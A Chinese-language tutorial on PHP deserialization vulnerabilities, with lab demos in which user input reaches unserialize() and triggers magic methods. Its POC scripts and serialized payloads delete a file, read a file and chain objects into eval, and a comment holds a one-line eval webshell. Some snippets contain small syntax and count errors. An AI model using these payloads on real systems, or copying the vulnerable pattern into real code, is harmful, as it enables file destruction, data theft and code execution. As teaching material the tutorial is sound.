PHP反序列化漏洞
1.产生背景
反序列化漏洞第一次众人皆知在2015年11月6日,最初出现在JAVA语言中,FoxGlove Security安全团队的Breenmachine发表了一篇博客,里面详细阐述了利用JAVA反序列化和Apache Commons Collections类库实现远程命令执行的真实案例,之后围绕着反序列化漏洞事件层出不穷,同时也出现在其他的语言中。
2.序列化与反序列化
在百度百科词条解释中,序列化 (Serialization) 是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
反序列化(Unserialization) 是与序列化的反过程,是将存储区的序列化的对象信息,文本结构,转换为原来的变量。
- 意义:序列化与反序列化可以轻松的存储和传输数据,我们可以把对象序列化为不同的格式,JSON、XML、二进制、SOAP等,不同的格式是为了适应不同的业务需求
- 什么时候使用序列化?
1.将内存中的类写入文件或者数据库中
2.递归保存对象引用的每个对象数据
3.分布式对象
4.统一对文件、对象、数据保存和传输
3.PHP的序列化与反序列化
-
PHP序列化函数为Serialize,将对象转换为字符串保存对象的变量及变量值。
-
PHP的反序列化函数为unserialize,将序列化后的字符串转换为对象。
先看一个简单的PHP代码
//1.php
<?php
class student //创建一个student类
{
public $name=''; //定义公有变量
public $age=''; //定义公有变量
public function talk() //定义公有函数
{
echo 'I am '.$this->name.', '.$this->age.' years old !</br>';
}
}
$pr=new student(); //创建对象
$pr->name='BYF'; //对象赋初值
$pr->age='20'; //对象赋初值
$pr->talk(); //调用公有函数
?>
执行结果
(1).序列化操作
将对象进行序列化操作,输出
//1.php+
$ser=serialize($pr);
echo $ser;
O:7:"student":2:{s:4:"name";s:3:"BYF";s:3:"age";s:2:"20";}
如上所示为PHP序列化函数,将对象序列化后的形成的字符串
序列化字符串解析:
- O: 对象标识
- 7: 表示该对象的字符串长度
- student: 对象
- 2:{} : 表示该对象有两个变量,在{}中定义。
- s: 第一个变量名标识
- 4: 第一个变量名字符串长度
- name: 第一个变量名
- s: 第一个变量标识
- 3: 第一个变量字符串长度
- BYF: 第一个变量的值
- s: 第二个变量名标识
- 3: 第二个变量名字符串长度
- age: 第二个变量名
- s: 第二个变量标识
- 2: 第二个变量字符串长度
- 20: 第二个变量的值
(2).反序列化操作
注:在反序列化操作中可以重新定义变量的值
//1.php++
$unser=unserialize($ser); //将序列化后形成的字符串发序列化
$unser->name='bianyufei'; //反序列化时可进行重新赋值操作
$unser->talk(); //调用公有函数
反序列化结果
4.PHP的魔法函数(析构函数)
PHP中有一些函数可以在脚本的任何地方执行,且不需要声明就可以调用,但是存在触发条件,这类函数就被称为PHP 魔法函数。
下面是与PHP序列化(反序列化)有关的魔法函数。
__construct() 当一个对象创建时被调用
__destruct() 当对象被销毁时触发
__wakeup() 当使用unserialize函数时被触发
__sleep() 当使用serialize函数时被触发
__toString() 把类当做字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或者empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
由于序列化不会传递函数中定义的操作,只传值,所以在自定义函数无法利用。
但是魔法函数是可以自动执行的,当类中定义了魔法函数时,且对象中存在触发条件,我们就有机可乘。
5.反序列化漏洞
PHP反序列化漏洞,是我们在使用unserialize()
函数进行反序列化时,当反序列化对象中存在一些我们可以利用魔法函数,且传入的变量是可控的,那么就可能触发这个魔法函数,来执行我们想要的过程。
(1).原理demo
__destruct()函数: 在对象被销毁时执行该函数
//原理demo
<?php
class demo
{
public $a='demo';
function __destruct()
{
echo $this->a;
echo '</br>';
}
}
$ob= new demo();
echo serialize($ob).'</br>';
$test= $_GET['id'];
unserialize($test);
?>
- payload
demo通过GET方式传值
http://10.102.51.143/demo.php?id=O:4:"demo":1:{s:1:"a";s:4:"1234";}
我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。
(2).demo1-删除
unlink() 函数: 删除文件,若成功,则返回 true,失败则返回 false。
dirname() 函数: 返回路径中的目录部分
dirname(__FILE__)函数
:表示当前文件绝对路径
//2.php
<?php
class delete
{
public $filename='error';
function __destruct()
{
echo $this->filename." was deleted.</br>"
//UPLINK函数是删除文件,dirname函数输出路径
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
在3.php中包含了2.php,当unserialize()函数执行时,触发了2.php中的 __destruct() 函数,执行了删除文件的操作。
//3.php
<?php
include '2.php'
class student
{
public $name='';
public $age='';
public function information()
{
echo 'student:'.$this->name.'is'.$this->age.'years old.</br>';
}
$zs=unserialize($_GET['id']);
//$zs变量并不是student类的对象,所以并没有必要通过GET传入的值为两个变量的形式,只要存在该反序列化操作,就可以触发2.php中的魔法函数
}
?>
构造payload
//POC.php
<?php
//复制delete类序列化内容
class delete
{
public $filename='error';
}
$x= new delete(); //创建对象
echo serialize($x).'</br>';
?>
下图为POC.php执行后形成的序列化的值
将该值复制后通过GET传入3.php,通过unserialize()函数销毁对象触发了 2.php中的 __destruct()函数中定义的删除文件的操作。
注: 由于在3.php中,student类为2个公有变量,且需自定义filename为要删除的文件名,在此处可以自己定义修改序列化的值。
如下所示
可以自定义要删除的文件为muma.txt
O:6:"delete":2:{s:8:"filename";s:8:"muma.txt";}
(3).demo2-读文件
__toString()函数: 把类当做字符串使用时触发,也就是使用echo打印对象时触发该函数。
file_get_contents()函数: 将一个文件读入一个字符串中
//4.php
<?php
class read
{
public $filename = 'error';
function __toString()
{
//file_get_contents()函数是把文件内容赋予一个变量,通过return
return file_get_contents($this->filename);
}
}
?>
在5.php中包含了4.php,5.php中unserialize()函数执行后赋给一个变量,当该变量被打印输出时,触发了4.php中的 __toString()函数
//5.php
<?php
include '4.php';
class student
{
public $name='BYF';
public $age='20';
public function information()
{
echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
}
}
$zs=unserialize($_GET['id']);
echo $zs;
?>
构造payload
//poc2.php
<?php
class read
{
public $filename='error';
}
$byf=new read();
$byf->filename='hello.txt';
echo serialize($byf);
?>
下图为POC2.php执行后形成的序列化的值
将该值复制后通过GET传入5.php,通过unserialize()函数反序列化后将值重新赋给一个变量,echo打印输出, 触发了 4.php中的 __toString()函数 中定义的读文件的操作。
首先我们先创建一个hello.txt文档
(4).demo3-普通方法漏洞
在调用问题中产生的漏洞,eval()为危险函数,将()内的值做为命令执行
//6.php <?php @eval($_POST['a']);?> a='phpinfo()'
<?php
class a
{
public $varr;
function __destruct()
{
$this->varr->evaltest();
}
}
class b
{
public $str;
function evaltest()
{
eval($this->str); //危险函数
}
}
unserialize($_GET['id']);
?>
//poc3.php
<?php
class a
{
public $varr='new b()';
}
class b
{
public $str='phpinfo()';
}
$x=new a();
echo serialize($x).'</br>';
$y=new b();
echo serialize($y);
?>
poc3.php运行结果如下图
原理分析
原理分析清楚了,还要进行触发操作,在poc中定义了unserialize()反序列化函数,可以触发a类中的 __destruct()函数 ,通过GET传参。
我们需将poc中序列化后形成的字符串进行变化,将varr定义为b类的对象
O:1:"a":1:{s:4:"varr";s:7:"new b()";}
O:1:"b":1:{s:3:"str";s:9:"phpinfo()";}
转化为
O:1:"a":1:{s:4:"varr";O:1:"b":1:{s:3:"str";s:10:"phpinfo();";};}
通过GET传递,得到phpinfo()的执行结果,获取到了php版本信息